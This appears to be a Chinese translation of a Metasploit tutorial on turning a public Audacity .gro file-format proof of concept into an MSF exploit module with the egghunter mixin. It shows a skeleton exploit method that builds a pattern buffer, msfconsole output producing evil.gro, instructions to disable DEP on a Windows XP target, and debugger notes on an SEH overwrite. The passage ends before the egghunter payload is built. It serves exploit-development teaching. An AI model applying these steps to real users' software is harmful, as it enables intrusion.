Metasploit 使用Egghunter Mixin

继续Egg-hunt

MSF egghunter mixin是一个很好的模块,可以在开发开发中有很大的用处。如果你不熟悉egghunters的概念,请先阅读。

 

Audacity Audio Editor中的一个漏洞为我们提供了一个更深入地研究这个混合的机会。在下一个模块中,我们将利用Audacity并为其创建一个Metasploit文件格式利用模块。我们不会专注于开发方法本身或其背后的理论,而是直接参与到Egghunter mixin的实际应用中。

 

请注意,以下示例使用Microsoft的Windows XP SP2作为目标。如果您想重现以下内容,您需要设置您自己的虚拟机。如果SP2不适用于您,则可以使用SP3,但请确保使用以下命令禁用C:\ boot.ini中的DEP :/ noexecute = AlwaysOff

 

建立并配置我们的Egg-hunt

在您的XP SP2盒子上下载并安装易受攻击的Audacity软件:

 

下载并检查原始PoC,取自:https : //www.exploit-db.com/exploits/7634/

 

移植Egghunter PoC

让我们将此PoC移植到MSF文件格式利用模块。我们可以使用现有的模块来获得一个通用模板。zinfaudioplayer221_pls.rb漏洞为我们提供了一个良好的开端。

 

我们的骨架利用应该看起来与此类似。注意我们的缓冲区在这里生成:

 def exploit
    buff = Rex::Text.pattern_create(2000)
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buff)
 end

我们使用Rex :: Text.pattern_create(2000)来创建一个2000字节的唯一字符串,以便能够跟踪调试器中的缓冲区位置。

 

一旦我们移植了PoC,我们就生成漏洞利用文件并将其传输到我们的Windows机器中。首先使用generic/debug_trap有效载荷。

msf exploit(audacity) > show options

Module options:

Name       Current Setting Required Description
----       --------------- -------- -----------
FILENAME   evil.gro        yes      The file name.
OUTPUTPATH /var/www        yes      The location of the file.


Payload options (generic/debug_trap):

Name Current Setting Required Description
---- --------------- -------- -----------


Exploit target:

Id Name
-- ----
0 Audacity Universal 1.2


msf exploit(audacity) > exploit

[*] Creating 'evil.gro' file ...
[*] Generated output file /var/www/evil.gro
[*] Exploit completed, but no session was created.
msf exploit(audacity) >

 

我们打开Audacity,附加一个调试器并导入MIDI gro文件。

Audacity

 

我们立即从Audacity得到一个异常,调试器暂停:

Audacity attach

 

快速浏览SEH链表明我们已经覆盖了一个异常处理程序。SEH chain

 

我们除外(shift + F9),并参见以下内容:aud seh

    A+
发布日期:2018年05月29日 07:15:44  所属分类:Metasploit
最后更新时间:2018-05-29 07:16:23
付杰
  • ¥ 199.0元
  • 市场价:499.0元
  • ¥ 499.0元
  • 市场价:499.0元
  • ¥ 498.0元
  • 市场价:498.0元
  • ¥ 198.0元
  • 市场价:298.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: